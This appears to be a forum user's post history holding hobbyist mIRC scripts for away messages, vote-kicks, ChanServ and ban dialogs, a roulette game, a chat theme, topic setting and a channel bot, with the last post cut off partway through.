Jump to content

chain

Administrators
  • Posts

    5,964
  • Joined

  • Last visited

  • Days Won

    17

Everything posted by chain

  1. Okay, just an updated version of my previous away... make sure you set the variable %p password here and change your nick to what you want type /a then put your away reason then when you're back type /b on 1:input:*:{ IF ($1 == /a ) { set %away.reason $$1 if %away.reason == $null { set %away.reason %default } nick PUT AWAY NAME HERE amsg Away: %away.reason away %away.reason halt } ELSEIF ($1 == /b ) { nick PUT ACTIVE NAME HERE pass PUT PASS HERE amsg Back: %away.reason /Time: $Duration($awaytime) away halt } else { return } }
  2. Well, people DID make votekick snippets, but I decided to post my own :x Well this one is a bit more advanced. There is no !votekick, there is just !vote kick. Now the difference is that !votekick is one command, while !vote kick can be changed to !vote ban, etc. so there is one command, but more functions. I hope you understand. For now there is only kick. REQUIREMENTS: -You must be an OP (if you're not, the vote will be cancelled) -The nick you specify MUST be in a channel (if not, it will be automaticly cancelled) -You can't call a vote from ANY channel until one vote ends. (Example you call the vote from #engineers and someone else calls a vote from #nexus and for #nexus it says that a vote is underway in #engineers) -You can vote with !pgup and !pgdn Well, I tried to make the code clean. As you can see you can modify the code so there is an option for kickban too. Well, you might see that I'm not THAT great with coding. This code will be updates as I add more features and functions. This is some sort of an alpha stage. For future plans I am planning on adding cancelling votes, changing votes from yes to no, customizing vote time (I wanted to do that, but variabled messed me up) and of course, more functions like mute (requires +m, if user rejoins he will be automaticly devoiced), kickban (customize your own time up to the time the OP allows). set %voteon2 off on *:TEXT:!vote*:#: { if ($2 == $null) || ($3 == $null) || ($2 != kick) { /msg $chan Incorrect usage. halt } if ($me isop $chan) { } else { /msg $chan I am not an OP here. halt } if ($3 ison $chan) { } else { /msg $chan $3 is not in $chan halt } if (%voteon2 == off) { } elseif (%voteon2 == on) { /msg $chan There is already a vote called in %chanvote halt } if ($3 isop $chan) { /msg $chan $3 is an OP. halt } set %voteon2 on set %votetype $2 set %votename $3 /callvote } alias -l callvote { if (%votetype == kick) { /votekick halt } } alias -l votekick { set %chanvote $chan msg $chan $nick has called a vote to kick %votename . You have 15 seconds to vote. /timer 1 15 voteresult } alias -l voteresult { if (%voteon2 == off) { set %voteon2 0 set %vyes 0 set %vno 0 unset %voted halt } if (%vyes > %vno) { /msg %chanvote Vote passed! kick %chanvote %votename Vote passed. } else { /msg %chanvote Vote failed! } /timer 1 2 /msg %chanvote Results: %vyes people voted yes; %vno people voted no set %voteon2 off set %vyes 0 set %vno 0 unset %voted } on *:TEXT:!pgup*:#: { if (%voteon2 == off) { /msg $chan There is nothing to vote for. halt } if ($istok(%voted,$address,32)) { notice $nick You have already voted. halt } /msg $chan $nick votes yes inc %vyes 1 %voted = $addtok(%voted,$address,32) } on *:TEXT:!pgdn*:#: { if (%voteon2 == off) { /msg $chan There is nothing to vote for. halt } if ($istok(%voted,$address,32)) { notice $nick You have already voted. halt } /msg $chan $nick votes no inc %vno 1 %voted = $addtok(%voted,$address,32) }
  3. ok so this is my first script for chanserv commands its a dialog box put in remotes access it via menubar nicklist or the channel window let me know if you like it. updated it the first one had to be closed out to be used on each site cause it would only work on the site it was opened on. i fixed that problem though .Venom Chanserv system. .Coded By. .Ryan. Menu Menubar,Nicklist,Channel { Chanserv System .VenomChanservSys: dialog $iif($dialog(Chanserv.System),-v,-md Chanserv.System) Chanserv.System } Dialog Chanserv.System { Title "VenomChanservSystem" Size -1 -1 279 90 Option dbu ;-----Mod Controls Tab 100 Tab "+ Mod " ,100, 02 02 130 22, tab 100 edit "enter nick ", 101, 02 29 41 10, autohs tab 100 Button "voice" 102, 02 40 41 15, flat tab 100 edit "enter nick", 103, 02 62 41 10, autohs tab 100 button "devoice ", 104, 02 74 37 15, flat tab 100 edit "enter nick ", 105, 50 29 41 10, autohs tab 100 Button "op " 106, 49 40 37 15, flat tab 100 edit "enter nick ", 107, 50 62 41 10, autohs tab 100 button "deop ", 108, 49 74 37 15, flat tab 100 edit "enter nick", 109, 97 29 41 10, autohs tab 100 Button "halfop " 110, 96 40 37 15, flat tab 100 edit "enter nick ", 111, 97 62 41 10, autohs tab 100 button "dehalfop ", 112, 96 74 37 15, flat tab 100 edit "enter nick ", 113, 145 29 41 10, autohs tab 100 button "kick ", 114, 145 40 37 15, flat tab 100 edit "enter nick ", 115, 145 62 41 10, autohs tab 100 button "protect ", 116, 145 74 37 15, flat tab 100 edit "enter nick ", 117, 190 29 41 10, autohs tab 100 button "deprotect ", 118, 190 40 37 15, flat tab 100 edit "pass then description ", 119, 190 62 41 10, autohs tab 100 button "reg room ", 120, 190 74 37 15, flat tab 100 edit "pass then email ", 121, 234 29 41 10, autohs tab 100 button "reg nick ", 122, 233 40 37 15, flat tab 100 edit "Drop what nick ", 123, 234 62 41 10, autohs tab 100 button "Drop nick ", 124, 233 74 37 15, flat tab 100 ;-----Roomowner Tab 200 Tab "+ Roomowner " ,200, 02 02 130 22, tab 200 edit "enter nick ", 201, 02 29 41 10, autohs tab 200 Button "addvop" 202, 02 40 41 15, flat tab 200 edit "enter nick", 203, 02 62 41 10, autohs tab 200 button "delvop ", 204, 02 74 37 15, flat tab 200 edit "enter nick ", 205, 50 29 41 10, autohs tab 200 Button "addhop " 206, 49 40 37 15, flat tab 200 edit "enter nick ", 207, 50 62 41 10, autohs tab 200 button "delhop ", 208, 49 74 37 15, flat tab 200 edit "enter nick", 209, 97 29 41 10, autohs tab 200 Button "addaop " 210, 96 40 37 15, flat tab 200 edit "enter nick ", 211, 97 62 41 10, autohs tab 200 button "delaop ", 212, 96 74 37 15, flat tab 200 edit "enter nick ", 213, 145 29 41 10, autohs tab 200 button "addsop ", 214, 145 40 37 15, flat tab 200 edit "enter nick ", 215, 145 62 41 10, autohs tab 200 button "delsop ", 216, 145 74 37 15, flat tab 200 } on *:dialog:Chanserv.system:sclick:102:{ if (!$did(101).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv voice $active $did(101).text } } on *:dialog:Chanserv.system:sclick:104:{ if (!$did(103).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv devoice $active $did(103).text } } on *:dialog:Chanserv.system:sclick:106:{ if (!$did(105).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv op $active $did(105).text } } on *:dialog:Chanserv.system:sclick:108:{ if (!$did(107).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv deop $active $did(107).text } } on *:dialog:Chanserv.system:sclick:110:{ if (!$did(109).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv halfop $active $did(109).text } } on *:dialog:Chanserv.system:sclick:112:{ if (!$did(111).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv dehalfop $active $did(111).text } } on *:dialog:Chanserv.system:sclick:114:{ if (!$did(113).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv kick $active $did(113).text } } on *:dialog:Chanserv.system:sclick:116:{ if (!$did(115).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv protect $active $did(115).text } } on *:dialog:Chanserv.system:sclick:118:{ if (!$did(117).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv deprotect $active $did(117).text } } on *:dialog:Chanserv.system:sclick:120:{ if (!$did(119).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv register $active $did(119).text } } on *:dialog:Chanserv.system:sclick:122:{ if (!$did(121).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg nickserv register $did(121).text } } on *:dialog:Chanserv.system:sclick:124:{ if (!$did(123).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg nickserv drop $did(123).text } } on *:dialog:Chanserv.system:sclick:202:{ if (!$did(201).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv vop $active add $did(201).text } } on *:dialog:Chanserv.system:sclick:204:{ if (!$did(203).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv vop $active del $did(203).text } } on *:dialog:Chanserv.system:sclick:206:{ if (!$did(205).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv hop $active add $did(205).text } } on *:dialog:Chanserv.system:sclick:208:{ if (!$did(207).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv hop $active del $did(207).text } } on *:dialog:Chanserv.system:sclick:210:{ if (!$did(209).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv aop $active add $did(209).text } } on *:dialog:Chanserv.system:sclick:212:{ if (!$did(211).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv aop $active del $did(211).text } } on *:dialog:Chanserv.system:sclick:214:{ if (!$did(213).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv sop $active add $did(213).text } } on *:dialog:Chanserv.system:sclick:216:{ if (!$did(215).text) { noop $input(Please enter text in box,udho,Error!) } else { scid $activecid .msg chanserv sop $active del $did(215).text } }
  4. Ok this is the result of me finding a new function on mIRC So dont moan if i'm doing something wrong 🙂 I have found this useful if im using my browser. You can turn it off easily and you can set how long the popup is displayed for. I know that its larger than you need! When you are using the script for the first time type /p_reset to set the default variables else it wont work. I will change the script to work better over time! Usage: Turn off and on or set the timer via right-clicking. Reply to a pm by double clicking the popup message. Also when you have replied it will show the replied Popup, double-clicking this will allow you to reply again, Pm's to you from the same person will be stacked. Please place all of the code in your remotes tab on a clean remote 🙂 p.s. I prefer this to the built-in function for mIRC the built-in fucntion dont allow this amount of expandability 🙂 AND Thanks to Allred58 and macs for helping me test it out 🙂 Also blackvenomm666, Jethro_ & napa182 for the script improvements on 1:TEXT:*:?:{ if (%popup) { set %p_nick $nick var %qtip $tip(PM, PM from $nick , $chr(91) $+ $time(hh:nn) $+ $chr(93) - $1- ,%ptimer,$mircexe,5,p_reply) } } menu channel,menubar,status { PM Popup .Turn popups $iif(!%popup,on,off): $+($iif(%popup,un),set) %popup on | echo PM Popup: Popups are $iif(%popup,$v1,off) .Set timer: set %ptimer $$?="How many seconds will the popup display for (3-60):" } alias p_reset { set %popup 1 set %ptimer 3 //echo PM Popup: PM Popups has been reset } alias p_reply { set %text $$?="Type a reply for %p_nick $+ :" msg %p_nick %text var %qtip $tip(reply, Reply to %p_nick , $chr(91) $+ $time(hh:nn) $+ $chr(93) - Replied to %p_nick " $+ %text $+ ",%ptimer,$mircexe,5,p_reply) unset %p_nick %text }
  5. A roulette; as usual paste this in your remotes and enjoy! !gamble red 500000 %r-max is the maxbet (so people dont gamble their mothers rofl). on *:text:!gamble *:%bot-fun:{ /set %roullet-msg if ( ( $$2 != odd ) && ( $$2 != even ) && ( $$2 != red ) && ( $$2 != black ) && ( $$2 != 1col ) && ( $$2 != 2col ) && ( $$2 != 3col ) && ( $$2 !isnum 1-36 ) && ( $$2 != 1-18 ) && ( $$2 != 19-36 )) { /msg %bot-fun Wrong command... the commands are: odd; even; red; black; 1col; 2col; 3col; 1,2,3...36; 1-18; 19-36; halt } if ( $$3 > %r-max ) { /msg %bot-fun Sorry...You only can gamble until $ %r-max halt } if ( $$3 < 0 ) { /writeini system\roulette.ini users $nick $calc( $readini(system\roulette.ini, users, $nick ) + $$3 ) /msg %bot-fun Cheater!!! You win $$3 ah ah ah! $nick have $readini(system\roulette.ini, users, $nick ) halt } else { /writeini system\roulette.ini users $nick $calc( $readini(system\roulette.ini, users, $nick ) - $$3 ) } set %r-num $rand(0,36) if ( %r-num == 0 ) { /msg %bot-fun 0,3 0 You have betted $ $$3 and you made $ 0 || $nick have $readini(system\roulette.ini, users, $nick ) || halt } if ( , $+ %r-num $+ , isin %r-red ) { /set %roullet-msg 0,4 %r-num } if ( , $+ %r-num $+ , isin %r-black ) { /set %roullet-msg 0,1 %r-num } if ( $$2 == odd ) { if ( $calc( %r-num % 2 ) ) { /roulette-msg $nick $calc( $$3 * 2 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 == even ) { if ( $calc( %r-num % 2 ) ) { /roulette-msg $nick 0 $$3 halt } else { /roulette-msg $nick $calc( $$3 * 2 ) $$3 halt } } if ( $$2 == red ) { if ( , $+ %r-num $+ , isin %r-red ) { /roulette-msg $nick $calc( $$3 * 2 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 == black ) { if ( , $+ %r-num $+ , isin %r-black ) { /roulette-msg $nick $calc( $$3 * 2 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 == 1col ) { if ( , $+ %r-num $+ , isin %r-1col ) { /roulette-msg $nick $calc( $$3 * 3 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 == 2col ) { if ( , $+ %r-num $+ , isin %r-2col ) { /roulette-msg $nick $calc( $$3 * 3 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 == 3col ) { if ( , $+ %r-num $+ , isin %r-3col ) { /roulette-msg $nick $calc( $$3 * 3 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 isnum 1-36 ) { if ( $$2 == %r-num ) { /roulette-msg $nick $calc( $$3 * 36 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 == 1-18 ) { if ( %r-num isnum 1-18 ) { /roulette-msg $nick $calc( $$3 * 2 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } if ( $$2 == 19-36 ) { if ( %r-num isnum 19-36 ) { /roulette-msg $nick $calc( $$3 * 2 ) $$3 halt } else { /roulette-msg $nick 0 $$3 halt } } }
  6. This is the way I like to see mIRC. Changed everything from whois to Events. on ^1:JOIN:#:{ if ($nick != $me) { echo -th $chan 9[ 4ø 9] 11Join : 04 $nick $+ 14( 07 $+ $remove($address($nick,1),*!*) $+ 14) 00has joined 04 $chan $+ 00. } else { echo -th $chan %pre 00Now talking in 04 $chan $+ 00. } haltdef } on ^1:PART:#:{ if ($nick == $me) { halt } else { set %nick $nick($chan,$nick).pnick if (~ isin %nick) { set %nick $remove(%nick,&,@,%,+) } elseif (& isin %nick) { set %nick $remove(%nick,@,%,+) } elseif (@ isin %nick) { set %nick $remove(%nick,%,+) } elseif (% isin %nick) { set %nick $remove(%nick,+) } echo -th $chan 9[ 4ø 9] 11Part : 04 %nick $+ 14( 07 $+ $remove($address($nick,1),*!*) $+ 14) 00has left 04 $chan $+ 00. haltdef unset %nick } } on ^1:RAWMODE:#:{ set %nick $nick($chan,$nick).pnick if (~ isin %nick) { set %nick $remove(%nick,&,@,%,+) } elseif (& isin %nick) { set %nick $remove(%nick,@,%,+) } elseif (@ isin %nick) { set %nick $remove(%nick,%,+) } elseif (% isin %nick) { set %nick $remove(%nick,+) } echo -th $chan 9[ 4ø 9] 11Mode : 04 $iif(%nick,%nick,$nick) $+ 14( 07 $+ $remove($address($nick,1),*!*) $+ 14) 00sets mode: 04 $1- haltdef unset %nick } on ^1:ACTION:*:{ set %nick $nick($chan,$nick).pnick if (~ isin %nick) { set %nick $remove(%nick,&,@,%,+) } elseif (& isin %nick) { set %nick $remove(%nick,@,%,+) } elseif (@ isin %nick) { set %nick $remove(%nick,%,+) } elseif (% isin %nick) { set %nick $remove(%nick,+) } if ($chan) { echo -th $chan 06 $+ %pre %nick $1- } else { echo -th $nick 06 $+ %pre %nick $1- } haltdef unset %nick } on ^1:TEXT:*:*:{ if ($chan) { set %nickcolor $nick($chan,$nick).color set %nick $nick($chan,$nick).pnick if (~ isin %nick) { set %nick $remove(%nick,&,@,%,+) } elseif (& isin %nick) { set %nick $remove(%nick,@,%,+) } elseif (@ isin %nick) { set %nick $remove(%nick,%,+) } elseif (% isin %nick) { set %nick $remove(%nick,+) } echo -th $chan 14( $+ %nickcolor $+ %nick $+ 14 ) 00: $1- } else { echo -th $nick 14( 00 $+ $nick $+ 14) 00: $1- } haltdef unset %nick unset %nickcolor unset %nicks } on *:INPUT:*:{ if ($1 == /notice) { echo -at 9[ 4ø 9] --> 11Notice : 04- $+ $2 $+ - 00 $3- | .notice $2 $3- | halt } else { set %nick $nick($chan,$me).pnick if (~ isin %nick) { set %nick $remove(%nick,&,@,%,+) } elseif (& isin %nick) { set %nick $remove(%nick,@,%,+) } elseif (@ isin %nick) { set %nick $remove(%nick,%,+) } elseif (% isin %nick) { set %nick $remove(%nick,+) } if ($1 == :/) || ($1 == \o) { echo -th $active 14( 11 $+ %nick $+ 14 ) 00 $1- | .msg $chan $1- | halt } if (/ isin $1) { if (http isin $1) { echo -th $chan 14( 11 $+ $iif(%nick,%nick,$nick) $+ 14 ) 00 $1- | .msg $active $1- | halt } else { $1- | halt } } if ($chan) { .msg $chan $1- echo -th $chan 14( 11 $+ %nick $+ 14 ) 00 $1- } else { .msg $active $1- echo -th $active 14( 11 $+ $me $+ 14) 00 $1- } } haltdef unset %nick } on ^1:NICK:{ var %x 1 if ($nick == $me) { while ($chan(%x)) { echo -th $chan(%x) 9[ 4ø 9] 11Nick : 04 $nick 00is now known as 04 $newnick $+ . inc %x } echo -ths 9[ 4ø 9] 11Nick : $nick is now known as $newnick $+ . } else { while ($comchan($nick,%x)) { echo -th $comchan($nick,%x) 9[ 4ø 9] 11Nick : $nick is now known as $newnick $+ . inc %x } } haltdef unset %nick unset %newnick } on ^1:QUIT:{ var %x 1 while ($comchan($nick,%x)) { set %nick $nick($chan,$nick).pnick if (~ isin %nick) { set %nick $remove(%nick,&,@,%,+) } elseif (& isin %nick) { set %nick $remove(%nick,@,%,+) } elseif (@ isin %nick) { set %nick $remove(%nick,%,+) } elseif (% isin %nick) { set %nick $remove(%nick,+) } echo -th $comchan($nick,%x) 9[ 4ø 9] 11Quit : 04 $iif(%nick,%nick,$nick) $+ 14( 07 $+ $remove($address($nick,1),*!*) $+ 14) has quit 04 $network $+ 14( 07 $+ $1- $+ 14) inc %x } haltdef unset %nick } on ^1:NOTICE:*:*:{ echo -at 9[ 4ø 9] <-- 11Notice : 04- $+ $nick $+ - 00 $1- haltdef } raw 301:*:{ echo -a 9[ 4ø 9] 11A way : 00 $remove($2-,$1) | halt } raw 311:*:{ echo -a -------- $+ $2 Start of /whois-------- | echo -a 9[ 4ø 9] 11I dent : 00 $3 | echo -a 9[ 4ø 9] 11A ddress : 00 $4 | echo -a 9[ 4ø 9] 11R eal N ame : 00 $remove($5-,$chr(42)) | halt } raw 312:*:{ echo -a 9[ 4ø 9] 11S erver : 00 $3 $+ ( $+ $network $+ ) - $4- | halt } raw 313:*:{ echo -a 9[ 4ø 9] 11S tatus : 00 $5- | halt } raw 317:*:{ echo -a 9[ 4ø 9] 11I dle : 00 $duration($3) | halt } raw 319:*:{ echo -a 9[ 4ø 9] 11C hannels : 00 $3- | halt } raw 318:*:{ echo -a -------- $+ $1 End of /whois-------- | halt } raw 338:*:{ echo -a 9[ 4ø 9] 11I P : 00 $remove($6,[,]) | halt } raw 307:*:{ echo -a 9[ 4ø 9] 11I dentified : 00 Identified | halt } raw 310:*:{ echo -a 9[ 4ø 9] 11M odes : 00 $6 | halt } raw 671:*:{ echo -a 9[ 4ø 9] 11C onnection : 00 $6- | halt } raw 672:*:{ echo -a 9[ 4ø 9] 11C lient : 00 $5- | halt } raw 332:*:{ echo -t $2 9[ 4ø 9] 11Topic : 00 $iif($3-,$3-,No Topic Set) | halt } raw 306:*:{ echo -at 9[ 4ø 9] 11A way : 00 $2- | halt } raw 305:*:{ echo -at 9[ 4ø 9] 11A way : 00 $2- | halt } raw 378:*:{ echo -a 9[ 4ø 9] 11C onnected F rom : 00 $7- | halt }
  7. This is a Ban Assist Dialog. It is a Menubar, Channel and nicklist menu item, There are a few Pre-Defined Kick messages integrated into the dialog. Update: Updated with _Teen_'s idea.. made the code a few line's smaller which is always better 😜 Thanks _Teen_. Update #2: Added the Extended mode ban's and when you first load the dialog on a network, It will version the server to check what it is running, I have only added for it to work on InspIRCd and Unreal server's. Anything else will show up as Unknown and will only allow +b with no extended ban. You /may/ have to restart/Re-Connect to the network to get the Ext Ban type's to show up. 😕 menu channel,menubar,nicklist { Ban Assist:dialog $iif($dialog(ban_assist),-v,-m ban_assist) ban_assist } dialog ban_assist { title "Ban Assist Dialog by Danneh" size -1 -1 203 130 option dbu box "Nicknames:", 1, 3 3 66 108 list 4, 6 10 59 97, size box "Options:", 5, 73 3 127 108 combo 6, 101 14 95 50, size drop text "Ban Type:", 7, 76 15 25 8 text "Example:", 8, 76 43 25 8 text "", 9, 76 50 120 8 text "Custom Kick message:", 10, 76 73 53 8, hide edit "", 11, 76 79 120 10, hide autohs button "Kick", 12, 77 94 37 12 button "Kick/Ban", 13, 118 94 37 12 button "Ok", 14, 50 115 37 12, ok button "Cancel", 15, 109 115 37 12, cancel text "Kick Message:", 16, 76 61 34 8 combo 17, 110 60 86 50, size drop button "Ban Only", 18, 159 94 37 12 combo 19, 110 29 86 50, size drop text "Ext Ban Type:", 20, 76 30 34 8 menu "File", 2 item "Close", 3, 2 } on *:DIALOG:ban_assist:init:*: { if (!$ini(ircd.ini,$network,version)) { .version } if ($readini(ircd.ini,$network,version) == UnrealIRCd) { didtok $dname 19 124 Normal|~q:|~n:|~q: and ~n: } if ($readini(ircd.ini,$network,version) == InspIRCd) { didtok $dname 19 124 Normal|m:|n:|O:|m: and n: } if ($readini(ircd.ini,$network,version) == Unknown) { did -a $dname 19 Normal } didtok $dname 6 124 1|2|3|4|5 didtok $dname 17 124 Spamming|Abusive Language|Caps|No PM Permission|Personal Attacks|Bad Attitude|Custom var %a = 1 while (%a <= $nick($active,0)) { did -a $dname 4 $nick($active,%a) inc %a } } on *:DIALOG:ban_assist:menu:3: { dialog -x ban_assist } on *:DIALOG:ban_assist:sclick:4,6,12,13,17-19: { if (($did == 4) && ($did(6).sel)) { did -ra $dname 9 $address($did(ban_assist,4).seltext,$did(6).sel) } if ($did == 6) { did -ra $dname 9 $address($did(ban_assist,4).seltext,$did(6).sel) } if ($did == 12) { if ($did(17) != Custom) { did -h $dname 10,11 if ($did(ban_assist,4).seltext == $null) { noop $input(Please select a nick to kick.,o) } else { if ($did(17) == Spamming) { kick $active $did(ban_assist,4).seltext Spamming is not tolerated here. } elseif ($did(17) == Abusive Language) { kick $active $did(ban_assist,4).seltext Please watch your language. We want everyone to feel welcome here. } elseif ($did(17) == Caps) { kick $active $did(ban_assist,4).seltext Talking in caps is considered yelling, annoying, and rude. Please turn them off. Thanks. } elseif ($did(17) == No PM Permission) { kick $active $did(ban_assist,4).seltext You may not PM/DCC/Notice/Query/CTCP users without their expressed permission. } elseif ($did(17) == Personal Attacks) { kick $active $did(ban_assist,4).seltext Personal attacks are not tolerated here. } elseif ($did(17) == Bad Attitude) { kick $active $did(ban_assist,4).seltext Your attitude is not conducive to the desired environment. } } } if ($did(17) == Custom) { did -v $dname 10,11 if ($did(11) == $null) { noop $input(Please enter a Custom Kick Message.,o) } else { kick $active $did(ban_assist,4).seltext $did(11) } } } if ($did == 13) { if ($did(17) != Custom) { did -h $dname 10,11 if ($did(ban_assist,4).seltext == $null) { noop $input(Please select a nick to kick.,o) } else { if ($did(ban_assist,19).seltext == Normal) { if ($did(17) == Spamming) { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) | kick $active $did(ban_assist,4).seltext Spamming is not tolerated here. } elseif ($did(17) == Abusive Language) { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) | kick $active $did(ban_assist,4).seltext Please watch your language. We want everyone to feel welcome here. } elseif ($did(17) == Caps) { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) | kick $active $did(ban_assist,4).seltext Talking in caps is considered yelling, annoying, and rude. Please turn them off. Thanks. } elseif ($did(17) == No PM Permission) { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) | kick $active $did(ban_assist,4).seltext You may not PM/DCC/Notice/Query/CTCP users without their expressed permission. } elseif ($did(17) == Personal Attacks) { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) | kick $active $did(ban_assist,4).seltext Personal attacks are not tolerated here. } elseif ($did(17) == Bad Attitude) { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) | kick $active $did(ban_assist,4).seltext Your attitude is not conducive to the desired environment. } } else { if ($did(19).seltext == ~q:) { var %a = mode $active +b ~q: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == ~n:) { var %a = mode $active +b ~n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == ~q: and ~n:) { var %a = mode $active +bb ~q: $+ $address($did(ban_assist,4).seltext, $did(6)) ~n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == m:) { var %a = mode $active +b m: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == n:) { var %a = mode $active +b n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == O:) { var %a = mode $active +b O: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == m: and n:) { var %a = mode $active +b m: $+ $address($did(ban_assist,4).seltext, $did(6)) n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == Normal) { var %a = mode $active +b $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(17) == Spamming) { var %b = kick $active $did(ban_assist,4).seltext Spamming is not tolerated here. } elseif ($did(17) == Abusive Language) { var %b = kick $active $did(ban_assist,4).seltext Please watch your language. We want everyone to feel welcome here. } elseif ($did(17) == Caps) { var %b = kick $active $did(ban_assist,4).seltext Talking in caps is considered yelling, annoying, and rude. Please turn them off. Thanks. } elseif ($did(17) == No PM Permission) { var %b = kick $active $did(ban_assist,4).seltext You may not PM/DCC/Notice/Query/CTCP users without their expressed permission. } elseif ($did(17) == Personal Attacks) { var %b = kick $active $did(ban_assist,4).seltext Personal attacks are not tolerated here. } elseif ($did(17) == Bad Attitude) { var %b = kick $active $did(ban_assist,4).seltext Your attitude is not conducive to the desired environment. } %a | %b } } } if ($did(17) == Custom) { did -v $dname 10,11 if ($did(11) == $null) { noop $input(Please enter a Custom Kick Message.,o) } else { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) | kick $active $did(ban_assist,4).seltext $did(11) } } } if ($did == 17) { if ($did(17) != Custom) { did -h $dname 10,11 } elseif ($did(17) == Custom) { did -v $dname 10,11 } } if ($did == 18) { if ($did(ban_assist,4).seltext == $null) { noop $input(Please select a nick to Ban.,o) } elseif ($did(19).seltext != Normal) { if ($did(19).seltext == ~q:) { mode $active +b ~q: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == ~n:) { mode $active +b ~n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == ~q: and ~n:) { mode $active +bb ~q: $+ $address($did(ban_assist,4).seltext, $did(6)) ~n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == m:) { mode $active +b m: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == n:) { mode $active +b n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == O:) { mode $active +b O: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == m: and n:) { mode $active +b m: $+ $address($did(ban_assist,4).seltext, $did(6)) n: $+ $address($did(ban_assist,4).seltext, $did(6)) } elseif ($did(19).seltext == Normal) { mode $active +b $address($did(ban_assist,4).seltext, $did(6)) } } } } RAW 002:*:{ if (!$ini(ircd.ini,$network,version)) { if (Unreal isin $2-) { writeini ircd.ini $network version UnrealIRCd } if (InspIRCd isin $2-) { writeini ircd.ini $network version InspIRCd } elseif (!$istok(Unreal|InspIRCd,$2-,124)) { writeini ircd.ini $network version Unknown } } } RAW 351:*:{ if (!$ini(ircd.ini,$network,version)) { if (Unreal isin $2-) { writeini ircd.ini $network version UnrealIRCd } elseif (InspIRCd isin $2-) { writeini ircd.ini $network version InspIRCd } elseif (!$istok(Unreal|InspIRCd,$2-,124)) { writeini ircd.ini $network version Unknown } } }
  8. This is a topic script, it is not that good so please don't complain and fix what you need to. 😛 COMMANDS: !b !m !e !a !s e.g. !b Welcome to #channel !m We are currently offline. !e Get in queue and please do NOT P.M. ops !a | !s Off -------- Welcome to #channel | We are currently offline | Get in queue and please do NOT P.M. ops | Bot status: Off on *:TEXT:*:#: { if ( $nick isop $chan && $1 == !b ) { set %topic $2- topic $chan %topic %divider %status %divider %end %divider %bot } if ( $nick isop $chan && $1 == !m ) { set %status $2- topic $chan %topic %divider %status %divider %end %divider %bot } if ( $nick isop $chan && $1 == !e ) { set %end $2- topic $chan %topic %divider %status %divider %end %divider %bot } if ( $nick isop $chan && $1 == !a ) { set %divider $2 topic $chan %topic %divider %status %divider %end %divider %bot } if ( $nick isop $chan && $1 == !s ) { set %bot Bot status: $2 topic $chan %topic %divider %status %divider %end %divider %bot } }
  9. chain

    Bot Script

    a Bot script for mIRC. Copy code to your remote file in Mirc and make the following changes 1: Change #RoomName to the name of your Channel 2: Change (BotNick to whatever you want your bot's nick to be.] 3:Change (RoomRule#1) to (RoomRule#10) to whatever rules you want for your room. 4 Change (WebSite URL) to the URL for the room's website. if you don't have a web site delete the line and any ?site lines. 5: Change (RoomOPs) to a list of Ops in your room. 6: Change (TimeZone to your TimeZone. In mIRC click scripts editor and then click users and add the following: [ 10,20:Nick ! Hostmask ] Example 10,20:TigrisAFK !~Aspros_Ti@uccn-5CC5D667.surgehost.net on 1:JOIN:#:/notice $nick Welcome to #roomname Type ?rules for room rules and ?site for the room's website address and ?rmop for a list of room ops ?commands for commands and ?funstuff for fun commands and type ?time to see the time | /mode $chan +v $nick on 1:TEXT:?rules:#: /notice $nick 1: (RoomRule#1) | /notice $nick 2: (RoomRule#2) | /notice $nick 3: 